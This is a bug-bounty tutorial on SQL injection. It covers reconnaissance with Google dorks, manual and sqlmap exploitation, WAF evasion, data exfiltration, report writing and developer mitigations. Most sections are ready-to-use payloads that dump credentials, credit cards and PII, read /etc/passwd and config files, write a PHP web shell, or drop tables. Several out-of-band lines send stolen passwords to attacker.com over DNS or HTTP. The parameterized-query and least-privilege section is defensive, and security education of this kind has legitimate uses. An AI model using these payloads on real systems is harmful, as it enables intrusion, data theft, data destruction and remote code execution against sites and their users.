Picture this: You’re testing a website, and with a simple tweak to a login form—BAM!—you trick the database into spilling its secrets. No password? No problem. That’s the power of SQL Injection (SQLi), one of the most dangerous (and profitable) vulnerabilities in web security.

Despite being around for decades, SQLi remains a goldmine for bug bounty hunters. Why? Because developers still screw it up—constantly. From small apps to Fortune 500 companies, flawed database queries leave the door wide open for attackers. And where there’s risk, there’s reward.

Why This Guide?

Most SQLi tutorials either drown you in theory or tell you to blindly run sqlmap and pray. Not here. This guide is hands-on, tactical, and built for real-world hunting. You’ll learn:
✅ How to spot SQLi like a detective—even when there are no obvious errors.
✅ Manual exploitation tricks that automated tools miss.
✅ How to bypass WAFs (because modern defenses don’t scare us).
✅ Turning flaws into bounties with professional reports that get paid.

A Quick Reality Check

⚠️ This is not a "hack everything" free-for-all. Unauthorized testing = illegal. Stick to bug bounty programs, CTFs, and legal labs. We play by the rules—because getting banned (or worse) isn’t worth it.

Ready to level up your SQLi game and start cashing in? Let’s dive in. 🚀💸

Understanding SQL Injection Fundamentals

SQL Injection (SQLi) is a vulnerability that lets attackers interfere with a web application’s database queries. But to exploit it effectively, you need to understand how databases work, where injections happen, and what makes them dangerous.

Let’s break it down in simple terms.

2.1 How SQL Queries Work in Web Applications

When you log into a website, search for products, or load user profiles, the app communicates with a database using SQL (Structured Query Language).

Example: A Simple Login Query

SELECT * FROM users WHERE username = '[user_input]' AND password = '[user_input]';

• If you enter admin and password123, the query becomes:

  SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

• If the credentials match, you log in.

Where SQL Injection Happens

If the app doesn’t properly sanitize user input, an attacker can modify the query. For example:

• Malicious Input: ' OR 1=1 --
• Modified Query:

  SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'anything';

• What Happens?
• OR 1=1 → Always true, so the query returns all users.
• -- → Comments out the rest, ignoring the password check.
• Result: You log in as the first user (often an admin).

2.2 Types of SQL Injection

1. In-Band SQLi (Direct Results Visible)

• Error-Based: The database leaks errors (e.g., syntax mistakes) that reveal sensitive data.
• Example: ' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) --
• Union-Based: Uses UNION SELECT to append stolen data to normal results.
• Example: ' UNION SELECT username, password FROM users --

2. Blind SQLi (No Direct Output)

• Boolean-Based: The app behaves differently based on true/false conditions.
• Example: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
• If the first letter of the password is ‘a’, the page loads normally. Otherwise, it fails.
• Time-Based: Uses delays (SLEEP(), WAITFOR DELAY) to infer data.
• Example: ' AND IF(1=1, SLEEP(5), 0) --
• If the condition is true, the page takes 5 seconds to load.

3. Out-of-Band SQLi (Data Exfiltrated via External Channels)

• Rare but powerful—uses DNS or HTTP requests to leak data.
• Example (MySQL):
  sql ' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share\\')) --
• If successful, the password is sent as a DNS lookup to the attacker’s server.

2.3 Common Database Systems & Their Quirks

Different databases have unique syntax and functions, so your payloads must adapt.

Database	Key Differences
MySQL	Uses # or -- for comments. Functions: VERSION(), DATABASE(), SLEEP().
PostgreSQL	Uses -- for comments. Functions: current_user, pg_sleep(5).
MS SQL Server	Uses -- or /* */. Functions: WAITFOR DELAY '0:0:5', SELECT @@version.
Oracle	Requires FROM dual. Comments: --. Functions: UTL_HTTP.request, DBMS_LOCK.SLEEP(5).
SQLite	Simple, often used in mobile apps. No WAITFOR DELAY—time-based attacks are rare.

Key Takeaways

✔ SQLi happens when user input is not sanitized.
✔ Three main types: In-Band (Error/Union), Blind (Boolean/Time), Out-of-Band.
✔ Different databases = different syntax. Adjust your payloads accordingly.

Now that you get the basics, let’s move to finding SQLi in the wild! 🕵️‍♂️

Reconnaissance for SQL Injection Vulnerabilities

Before you can exploit SQL injection, you need to find vulnerable inputs—the places where a web app talks to its database. This is reconnaissance (recon), and it’s where most beginners fail.

Let’s break it down step by step.

3.1 Identifying Potential Injection Points

Not all input fields are vulnerable. You need to find where the app interacts with the database. Here’s where to look:

1. Input Fields (Forms, Search Boxes, Logins)

• Login pages (username, password)
• Search bars (products, users, articles)
• Contact forms, filters, comment sections

How to test?

• Add a single quote (') and see if it breaks the query (error messages = good sign).
• Try basic payloads like:
• ' OR 1=1 --
• " OR "1"="1

2. URL Parameters (GET Requests)

• Look for URLs like:

  https://example.com/profile?id=1
  https://example.com/search?q=test

• Test by tampering with the parameter:

  https://example.com/profile?id=1'
  https://example.com/profile?id=1 AND 1=1

3. HTTP Headers (Hidden Inputs)

Some apps use headers for database queries. Check:

• Cookies (session tokens, tracking IDs)
• User-Agent (some apps log it in the DB)
• Referer (some analytics systems store it)

How to test?

• Use Burp Suite or OWASP ZAP to modify headers and inject SQL:

  User-Agent: ' OR 1=1 --
  Cookie: sessionid=1' AND (SELECT 1 FROM users WHERE username='admin')=1 --

4. API Endpoints (POST/JSON/XML Inputs)

• Many modern apps use APIs (REST, GraphQL).
• Test POST requests with JSON/XML input:

  { "username": "admin' --", "password": "anything" }

3.2 Using Google Dorks to Find SQLi Targets

Google can help you find potentially vulnerable sites with simple search tricks:

Common Google Dorks for SQLi

Search Query	What It Finds
inurl:index.php?id=	URLs with numeric parameters (common in PHP apps)
inurl:item.php?cat=	Category pages (often SQL-based)
intext:"Warning: mysql_fetch_array()"	Sites leaking MySQL errors
inurl:login.php	Login pages (SQLi in auth forms)

Example:

inurl:index.php?id= site:example.com

→ Finds pages with id= parameters on example.com.

3.3 Analyzing Error Messages for SQLi Clues

Error messages = goldmine for SQLi.

Common Database Errors

Error	What It Means
You have an error in your SQL syntax	MySQL syntax error (vulnerable!)
Unclosed quotation mark	SQL injection likely possible
ORA-00933: SQL command not properly ended	Oracle database error
Microsoft OLE DB Provider for SQL Server	MSSQL database leak

What to do?

• If you see errors, the app is likely vulnerable.
• Try union-based or error-based exploitation next.

3.4 Probing with Basic Payloads (Boolean Checks)

Before full exploitation, confirm with boolean tests:

1. Always True vs. Always False

• True Condition: ' OR 1=1 -- → Page loads normally.
• False Condition: ' AND 1=2 -- → Page breaks or shows no results.

If behavior changes → SQLi is likely.

2. Time-Based Checks (Blind SQLi)

• MySQL: ' AND SLEEP(5) --
• MSSQL: ' WAITFOR DELAY '0:0:5' --
• PostgreSQL: ' AND pg_sleep(5) --

If the page delays → SQLi confirmed.

Key Takeaways

✔ Test all inputs (forms, URLs, headers, APIs).
✔ Use Google Dorks to find vulnerable sites quickly.
✔ Error messages = your best friend for detecting SQLi.
✔ Boolean & time-based tests confirm blind SQLi.

Now that you’ve found a potential SQLi, it’s time to exploit it properly! 🎯

Manual SQL Injection Testing Techniques – Let’s Get Hands-On!

Alright, you’ve found a juicy input field that might be vulnerable to SQLi. Now what? Time to stop guessing and start exploiting—manually!

Forget just running sqlmap like a script kiddie. Real bug hunters understand the attack before automating it. Let’s break it down.

4.1 Error-Based SQLi – When the Database Spills Its Guts

Scenario: You type a ' and boom—the site vomits a database error. Jackpot!

How to Exploit It:

1. Break the query to force an error:

   ' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) --

• If you see a "Conversion failed" error, congrats—you just leaked a table name!

1. Steal data from errors:

   ' AND 1=0 UNION SELECT 1,@@version,3 --

• Some apps display errors with query results—now you see the database version.

Why it’s awesome:

• Instant feedback.
• No guessing—just straight-up data leaks in error messages.

4.2 Union-Based SQLi – The Classic Data Heist

Scenario: The site shows data (like product listings or user info), and you want to append stolen data to it.

Step 1: Find the Number of Columns

• Use ORDER BY until the page breaks:

  ' ORDER BY 5 --  # Works?  
  ' ORDER BY 10 -- # Breaks?  

• If ORDER BY 5 works but ORDER BY 6 fails → 5 columns.

Step 2: Find Which Columns Are Visible

• Inject dummy data with UNION SELECT:

  ' UNION SELECT 1,2,3,4,5 --

• If numbers 2 and 4 appear on the page, those are displayed columns.

Step 3: Steal Everything

• Replace visible columns with real data:

  ' UNION SELECT 1,username,3,password,5 FROM users --

• Boom! Now you see usernames and passwords in the output.

Why it’s awesome:

• Works on many older (and some newer) apps.
• Lets you dump entire tables in one go.

4.3 Blind SQLi – When the App Plays Hard to Get

Scenario: No errors, no data leaks—just a subtle change in behavior. Time to play detective.

Boolean-Based (Yes/No Games)

• Ask the database true/false questions:

  ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --

• If the page loads normally → first letter of the password is a.
• If it breaks → try b, c, etc.

Time-Based (The "Are You Awake?" Trick)

• Force delays to confirm SQLi:

  ' AND IF(1=1, SLEEP(5), 0) --  # Page takes 5 seconds? SQLi confirmed!

• Extract data one character at a time:

  ' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0) --

• If the page hangs for 5 sec → first letter is a.

Why it’s awesome:

• Works even on super locked-down apps.
• Slow but super stealthy (WAFs often miss it).

4.4 Second-Order SQLi – The Sneaky Time Bomb

Scenario: The app stores your input and uses it later in a vulnerable query.

How It Works:

1. You submit a "username" like:

   admin' --

1. Later, the app runs:

   UPDATE users SET last_login=NOW() WHERE username='admin' --';

1. Now everyone logs in as admin because the query is broken.

Why it’s scary:

• Harder to detect (no immediate error).
• Can bypass front-end protections.

Key Takeaways

✅ Error-Based SQLi → Leak data via error messages.
✅ Union-Based SQLi → Steal data by appending it to legit results.
✅ Blind SQLi → Use boolean or time delays to extract data bit by bit.
✅ Second-Order SQLi → Poison the database for future attacks.

Now you’re not just finding SQLi—you’re exploiting it like a pro.

5. Automated SQL Injection Detection Tools – Work Smarter, Not Harder

Manually testing for SQLi is fun, but let’s be real—you don’t have all day. That’s where automation comes in. These tools do the heavy lifting so you can focus on exploiting the good stuff.

Here’s your cheat sheet for the best SQLi hunting tools.

5.1 SQLmap – The Godfather of SQL Injection

What It Does:

• Detects all types of SQLi (error-based, union, blind, out-of-band).
• Automatically dumps databases, tables, and even files.
• Bypasses WAFs (Web Application Firewalls) like a boss.

Basic Usage:

sqlmap -u "http://example.com/page?id=1" --batch

• --batch → Auto-picks default options (no annoying prompts).

Pro-Level Exploitation:

• Dump all databases:

  sqlmap -u "http://example.com/page?id=1" --dbs

• Steal table data:

  sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump

• Bypass WAFs with tamper scripts:

  sqlmap -u "http://example.com/page?id=1" --tamper=space2comment

Why It’s Awesome:
✔ Saves hours of manual testing.
✔ Can crack even tricky SQLi cases.
✔ Has stealth modes to avoid detection.

5.2 Burp Suite – The Hacker’s Best Friend

What It Does:

• Intercepts web traffic (great for hidden SQLi in POST requests).
• Automates fuzzing (throwing SQLi payloads at inputs).

How to Use It for SQLi:

1. Intercept a request (e.g., login form submission).
2. Send to Repeater (right-click → "Send to Repeater").
3. Modify parameters with SQLi payloads:

   username=admin' OR 1=1 --&password=whatever

1. Check responses for errors or unusual behavior.

Bonus: Turbocharged Fuzzing with Intruder

1. Highlight a parameter → "Send to Intruder".
2. Load SQLi payloads (predefined lists in Burp).
3. Launch attack → See which payloads break the app.

Why It’s Awesome:
✔ Perfect for testing APIs and complex inputs.
✔ Combines well with manual testing.

5.3 OWASP ZAP – Free & Powerful Alternative

What It Does:

• Scans for SQLi, XSS, and more.
• Great for beginners (easier setup than Burp).

Basic Scan:

1. Enter target URL → "Attack" → "Active Scan".
2. Check "SQL Injection" in the scan options.
3. Review results for vulnerabilities.

Why It’s Awesome:
✔ Open-source (free forever).
✔ Good for quick scans.

5.4 NoSQLi Tools – For MongoDB, Firebase, etc.

Not all databases use SQL! NoSQLi targets apps using:

• MongoDB
• Firebase
• CouchDB

Tool: NoSQLmap

nosqlmap -u http://example.com/api --data '{"user":"*"}' --method POST

• Tests for NoSQL injection (like {"$ne": ""} bypasses).

Why It’s Awesome:
✔ Finds vulnerabilities others miss.

5.5 Other Helpful Tools

Tool	Purpose
Havij	Old but GUI-friendly (Windows only).
jSQL Injection	Lightweight, Java-based.
DSSS (Damn Small SQLi Scanner)	Minimalist Python script.

Key Takeaways

✅ SQLmap → Best for full exploitation (dumping data, bypassing WAFs).
✅ Burp Suite → Best for manual testing + automation.
✅ OWASP ZAP → Free alternative for quick scans.
✅ NoSQLmap → For MongoDB/Firebase injections.

Automation saves time, but always verify manually! Some vulnerabilities only show up with human intuition.

Bypassing Web Application Protections – Outsmarting WAFs Like a Ninja

So you found a sweet SQLi vulnerability, but the site has a Web Application Firewall (WAF) blocking your attacks? No worries—let’s trick, evade, and bypass those defenses.

WAFs (like Cloudflare, ModSecurity, AWS WAF) are designed to stop attacks, but they’re not perfect. With the right tricks, you can slip past them.

6.1 Evading WAF Rules – The Art of Sneaky Queries

1. Obfuscation (Making Your Payload Unrecognizable)

WAFs look for common SQLi patterns (UNION SELECT, OR 1=1, SLEEP()), so we disguise them:

• Hex Encoding

  UNION SELECT → UNI/**/ON SEL/**/ECT  
  ' OR 1=1 --  → \x27 OR 1=1 --

• Comment Splitting

  SELECT/*random*/username/*random*/FROM users

• String Concatenation

  ' OR 'a'='a'  → ' OR 'a'='b'='a

2. Case Variation & Null Bytes

• Randomize uppercase/lowercase (some WAFs are case-sensitive):

  uNiOn SeLeCt 1,2,3

• Add null bytes (%00) to break WAF parsing:

  ' OR 1=1%00 --

3. Time-Based Bypass (When All Else Fails)

If the WAF blocks SLEEP(), try alternative delays:

• MySQL:

  ' AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C) --

(This creates a heavy query that slows the server.)

• MSSQL:

  '; WAITFOR DELAY '0:0:5' --

6.2 Bypassing Input Sanitization

Some apps filter or escape quotes (', "). Here’s how to bypass:

1. Using Non-String Inputs

• Numeric fields? No quotes needed!

  id=1 OR 1=1

• Boolean bypass:

  admin' AND true --

2. Alternative Quote Styles

• Backticks (`) (MySQL):

  SELECT * FROM `users` WHERE `username`=0x61646d696e

• Brackets [ ] (MSSQL):

  SELECT * FROM [users] WHERE [username]='admin'

6.3 Advanced Bypass Techniques

1. HTTP Parameter Pollution (HPP)

Send duplicate parameters to confuse the WAF:

GET /page?id=1&id=2' UNION SELECT 1,2,3 --

(Some WAFs check only the first id=, while the server uses the last one.)

2. JSON/XML Injection

If the app uses APIs, try:

{ "user": "admin' --" }

or

<user>admin' --</user>

3. Charset Bypass (Weird Encodings)

• UTF-8, UTF-16, URL encoding:

  %EF%BC%87 OR 1=1 --  (Unicode apostrophe)

6.4 Real-World WAF Bypass Examples

Cloudflare Bypass

id=1 AND/*!50000 1=0*/ UNION ALL SELECT 1,database(),3,4

• /*!50000 ... */ is a MySQL conditional comment that bypasses some WAFs.

ModSecurity Bypass

id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables)) --

• Uses type conversion to hide the attack.

Key Takeaways

✅ Obfuscation → Break up payloads with comments, hex, and random casing.
✅ Alternative syntax → Use brackets, backticks, or no quotes.
✅ Time delays → Heavy queries or WAITFOR DELAY can sneak past.
✅ Parameter pollution & encoding → Confuse the WAF with duplicates or weird chars.

WAFs are annoying, but not unbeatable. With these tricks, you can keep exploiting SQLi even on "protected" sites.

Exploitation & Data Exfiltration – Turning SQLi into Real Hacks

So you've found a SQL injection vulnerability—now what? Time to turn that bug into stolen data, admin access, or even full system control.

This is where the real fun begins for bug hunters. Let’s break down how to exploit SQLi like a pro and exfiltrate data efficiently.

7.1 Extracting Database Schema (Tables & Columns)

Before stealing data, you need to map the database structure.

Step 1: List All Databases

' UNION SELECT schema_name, NULL FROM information_schema.schemata --

(Returns all database names on the server.)

Step 2: Dump Tables from a Database

' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'public' --

(Lists all tables in the public schema.)

Step 3: Get Columns from a Table

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' --

(Shows all columns in the users table.)

Why this matters:

• You can’t steal data if you don’t know where it’s stored.
• Works on MySQL, PostgreSQL, MSSQL, Oracle (with slight syntax tweaks).

7.2 Dumping Sensitive Data (Usernames, Passwords, PII)

Now, let’s steal the good stuff.

Example: Stealing User Credentials

' UNION SELECT username, password FROM users --

(Dumps logins in username:password format.)

Targeting Specific Users (Like Admins)

' UNION SELECT username, password FROM users WHERE username = 'admin' --

Grabbing Credit Cards, Emails, or Other PII

' UNION SELECT email, credit_card FROM customers --

Pro Tip:

• If passwords are hashed, check for weak algorithms (MD5, SHA1).
• Some apps store plaintext passwords (yikes!).

7.3 Reading Local Files (MySQL’s LOAD_FILE)

If the database user has file-read privileges, you can leak server files.

Example: Reading /etc/passwd (Linux)

' UNION SELECT LOAD_FILE('/etc/passwd'), NULL --

(Shows system users—useful for further attacks.)

Stealing Config Files (Database Creds, API Keys)

' UNION SELECT LOAD_FILE('/var/www/html/config.php'), NULL --

(Might contain passwords for other systems.)

Works on:

• MySQL (LOAD_FILE)
• PostgreSQL (pg_read_file)
• MSSQL (OPENROWSET)

7.4 Writing to Files (Gaining RCE via SQLi)

If you can write files, you might get remote code execution (RCE).

Example: Uploading a PHP Shell (MySQL)

' UNION SELECT "<?php system($_GET['cmd']); ?>", NULL INTO OUTFILE '/var/www/html/shell.php' --

Now, visit:

http://victim.com/shell.php?cmd=id

(Executes OS commands!)

Requirements:

• Database user must have file-write permissions.
• You need to know the web root path (/var/www/html).

Warning:

• This is highly aggressive—only do it in authorized pentests.

7.5 Advanced Exfiltration Techniques

1. DNS Exfiltration (For Blind SQLi)

If the app doesn’t show data, leak it via DNS requests:

' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share\\')) --

• The password is sent as a subdomain lookup to your server.

2. Out-of-Band (OOB) via HTTP Requests

' UNION SELECT NULL,HTTPGET('http://attacker.com/leak?data='||(SELECT password FROM users LIMIT 1)) --

(Requires special DB functions like Oracle’s UTL_HTTP.)

Key Takeaways

✅ First, map the database (schemas, tables, columns).
✅ Dump credentials, PII, or sensitive data with UNION SELECT.
✅ Read server files if LOAD_FILE is allowed.
✅ Write a web shell for RCE (if permissions allow).
✅ Use DNS or HTTP exfiltration for blind SQLi.

Now you’re not just finding SQLi—you’re weaponizing it. 🚀

Reporting SQL Injection Vulnerabilities – Get Paid, Don’t Get Ignored

You’ve found a SQLi vulnerability—now what? If you don’t report it properly, the company might ignore you, lowball your bounty, or even ban you.

Let’s turn your hack into cold, hard cash with a professional, high-impact report.

8.1 Crafting a High-Quality Bug Report

Your report should be clear, concise, and convincing.

Essential Sections:

Title (Short & scary):

• ❌ "Possible SQL Injection"
• ✅ "Blind SQL Injection in /admin/login.php (Time-Based Exploit)"

Vulnerability Details

• Type: SQL Injection (Error-Based/Blind/Union)
• Endpoint: https://example.com/login.php
• Parameter: username (POST)

Steps to Reproduce (Like a recipe):

   1. Go to https://example.com/login  
   2. Enter username: `admin' AND SLEEP(5)--`  
   3. Observe 5-second delay → SQLi confirmed  

Impact (Why should they care?):

• "Allows attackers to extract sensitive data (usernames, passwords, PII) and potentially gain admin access."

Remediation (How to fix it):

• "Use parameterized queries (prepared statements) instead of string concatenation."

8.2 Providing Proof of Concept (PoC)

No PoC = No bounty. Prove it works with:

1. Video/GIF Screen Recording

• Show yourself exploiting the bug (e.g., dumping DB data).

2. Curl Command or HTTP Request

curl -X POST "https://example.com/login" -d "username=admin' OR 1=1--&password=123"

3. Screenshots of Exploitation

• Database errors, dumped data, or time delays.

Pro Tip:

• For blind SQLi, show a time-based delay comparison (normal vs. exploited).

8.3 Severity Classification (CVSS Scoring)

Companies use CVSS (Common Vulnerability Scoring System) to rank bugs.

SQLi Severity Examples:

Severity	CVSS Score	Example Scenario
Critical	9.0+	SQLi in admin panel leading to full DB dump.
High	7.0-8.9	Blind SQLi leaking user emails.
Medium	4.0-6.9	Limited SQLi with low-impact data exposure.

How to Calculate CVSS:

• Use NVD’s CVSS Calculator.

8.4 Communicating with Security Team

Do’s:

✔ Be professional (no "lol I hacked u" messages).
✔ Follow their disclosure policy (check their bug bounty program).
✔ Respond quickly if they ask for more details.

Don’ts:

❌ Demand payment upfront (they’ll ghost you).
❌ Threaten public disclosure (blackmail = banned).
❌ Spam follow-ups (wait 7-14 days before checking in)

Real-World Example Report

Title: Time-Based Blind SQL Injection in /user/profile (Leaks PII)

Steps to Reproduce:

1. Visit https://example.com/user/profile?id=1
2. Inject: id=1' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--
3. Observe 5-second delay if first character = 'a'

Impact:

• Allows extraction of hashed passwords, emails, and other PII.

Remediation:

• Use prepared statements: "SELECT * FROM users WHERE id = ?"

PoC:

• [Video]() | [Screenshot]() | [Curl Command]()

Key Takeaways

✅ Write a clear, detailed report (title, steps, impact, fix).
✅ Include a PoC (video, command, or screenshots).
✅ Rate severity properly (CVSS 7.0+ = better payout).
✅ Be professional—no threats or demands.

Now go submit that report and get paid! 💰

Mitigation & Best Practices for Developers – Stop SQLi Before It Starts

So you’re a developer, and you never want your app to end up in a bug bounty report (or worse, a data breach). Here’s how to prevent SQL injection like a pro.

9.1 Parameterized Queries (Prepared Statements) – The #1 Fix

What It Does:

• Separates SQL code from user input, making injection impossible.

How to Use It:

Python (SQLite Example)

# UNSAFE (SQLi vulnerable)
query = "SELECT * FROM users WHERE username = '" + user_input + "'"

# SAFE (Parameterized)
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (user_input,))

PHP (MySQLi)

// UNSAFE
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "'";

// SAFE
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['user']); // "s" = string type
$stmt->execute();

Java (JDBC)

// UNSAFE
String query = "SELECT * FROM users WHERE username = '" + input + "'";

// SAFE
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, input); // 1 = first parameter

Why It Works:

• User input is treated as data, not code.
• Even if someone injects ' OR 1=1 --, it won’t execute.

9.2 Input Validation & Sanitization – Second Line of Defense

1. Whitelist Allowed Inputs

• For numbers: Ensure input is actually a number.

  if not user_id.isdigit():
      raise ValueError("Invalid ID")

• For strings: Allow only expected characters (e.g., alphanumeric).

  if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
      die("Invalid username");
  }

2. Escape Inputs (If You Must Use Raw Queries)

• PHP: mysqli_real_escape_string()
• Python: Use DB-specific escape functions.

⚠️ Warning: Escaping is not enough—use parameterized queries first!

9.3 Least Privilege for Database Users – Limit the Damage

Key Rules:

Application DB user should ONLY have:

• SELECT (for read operations)
• INSERT/UPDATE/DELETE (if needed)

Never grant:

• FILE (can read/write server files)
• DROP (can delete tables)
• GRANT (can escalate privileges)

Example (MySQL):

CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'securepassword';
GRANT SELECT, INSERT ON app_db.* TO 'app_user'@'localhost';

9.4 Web Application Firewalls (WAFs) – Emergency Protection

What WAFs Do:

• Block common SQLi payloads (UNION SELECT, SLEEP(), etc.).
• Examples: Cloudflare, ModSecurity, AWS WAF.

Limitations:

• Not foolproof (attackers bypass them daily).
• False positives/negatives (can block legit traffic or miss attacks).

Best Practice:

• Use WAFs temporarily while fixing the root cause (parameterized queries).

9.5 Regular Security Testing – Catch Bugs Early

1. Automated Scanners

• SQLmap (for testing your own apps)
• OWASP ZAP / Burp Suite (for manual + automated checks)

2. Code Reviews

• Check for:
• String concatenation in SQL ("SELECT * FROM " + table)
• Raw queries without sanitization

3. Penetration Testing

• Hire ethical hackers to test your app before attackers do.

Key Takeaways for Developers

✅ Use parameterized queries (prepared statements) – the #1 fix.
✅ Validate & sanitize inputs (but don’t rely on this alone).
✅ Restrict DB user permissions (least privilege principle).
✅ Deploy a WAF as a temporary shield (not a permanent solution).
✅ Test regularly (scanners, code reviews, pentests).

SQLi is 100% preventable—if you code defensively.

Advanced SQL Injection Techniques – Next-Level Exploitation

You’ve mastered the basics—now let’s level up. These advanced SQLi techniques help you bypass tougher defenses, exploit niche scenarios, and escalate attacks further.

10.1 Stacked Queries (Multiple Statements in One Shot)

What It Is:

• Executes multiple SQL queries in a single input (e.g., SELECT * FROM users; DROP TABLE logs--).

Where It Works:

• MSSQL (; supported by default).
• MySQL (if mysqli_multi_query() is used).
• PostgreSQL (sometimes).

Example Attack:

'; DROP TABLE users; --

(Deletes the entire users table—dangerous!)

Real-World Use Cases:

• Bypassing login pages:

  '; INSERT INTO admins (user, pass) VALUES ('hacker', 'pwned'); --

• Blind data exfiltration via DNS:

  '; DECLARE @data VARCHAR(1024); SET @data=(SELECT password FROM users); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\share"'); --

⚠️ Warning:

• Stacked queries are often blocked by WAFs.
• Works only if the app allows batch execution.

10.2 DNS Exfiltration for Blind SQLi (Stealthy Data Theft)

When to Use It:

• The app doesn’t show errors or data (blind SQLi).
• You need to leak data silently (avoid WAF detection).

How It Works:

1. Force the database to make a DNS lookup to your server.
2. Embed stolen data in the subdomain.
3. Check your DNS logs—data is leaked!

Example (Microsoft SQL Server):

'; DECLARE @data VARCHAR(100); SET @data=(SELECT password FROM users WHERE username='admin'); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\share"'); --

• If the admin’s password is S3cr3t!, your DNS server gets a request for:

  S3cr3t!.attacker.com

Supported Databases:

Database	Method
MSSQL	xp_dirtree, xp_fileexist
Oracle	UTL_HTTP, UTL_INADDR
MySQL	LOAD_FILE() (requires file privileges)
PostgreSQL	COPY TO PROGRAM (rare)

Pros:
✅ Bypasses most WAFs (DNS traffic looks harmless).
✅ Works in fully blind scenarios.

Cons:
❌ Requires DNS callback setup (use Burp Collaborator or interact.sh).

10.3 Exploiting NoSQL Injection (MongoDB, Firebase, etc.)

What’s Different?

• NoSQL databases (MongoDB, CouchDB) use JSON-like queries, not SQL.
• Classic ' OR 1=1 won’t work—but logic manipulation does.

Example (MongoDB Injection):

Normal Query:

db.users.find({user: "admin", pass: "123"})

Injected Query (Bypass Login):

{"user": "admin", "pass": {"$ne": ""}}

• Translates to: "Find user admin where password is not empty" → logs in!

Other NoSQL Payloads:

• Extract data:

  {"user": {"$regex": ".*"}, "pass": {"$ne": ""}}

• Boolean-based exfiltration:

  {"user": "admin", "pass": {"$gt": ""}}  # True if pass exists

Tools to Exploit NoSQLi:

• NoSQLmap (automates exploitation)
• Burp Suite (manual testing)

10.4 Second-Order SQLi (The Silent Killer)

What It Is:

• Your input is stored and used later in an unsafe query.
• Harder to detect because exploitation is delayed.

Example Attack:

1. Sign up with username: admin' --
2. Later, the app runs:

   UPDATE users SET last_login=NOW() WHERE username='admin' --'

1. Result: All users get updated because -- comments out the rest!

Where to Find It:

• Profile updates
• Password reset functions
• Comment systems

How to Test:

• Submit malicious inputs, then trigger secondary actions (e.g., profile edits).

10.5 Time-Based Bypass for Heavy WAFs

When All Else Fails:

• If a WAF blocks SLEEP(), try heavy queries to cause delays.

Example (MySQL):

' AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B) --

• Joins huge tables → slows down the response.

Alternative Delays:

• Hash collisions (CPU-intensive):

  ' AND MD5(CONCAT(REPEAT('a',1000000),RAND())) LIKE '0%' --

Key Takeaways

🔹 Stacked queries → Execute multiple commands (MSSQL/MySQL).
🔹 DNS exfiltration → Steal data silently in blind SQLi.
🔹 NoSQLi → Bypass auth with $ne, $gt, $regex.
🔹 Second-order SQLi → Poison the DB for future attacks.
🔹 Time-based bypasses → Heavy queries instead of SLEEP().

These techniques separate script kiddies from pros. Use them wisely!

SQL injection is a classic vulnerability, but it’s far from dead. The best hunters adapt, innovate, and stay curious.

Now go out there, find those bugs, and get paid! 🚀💰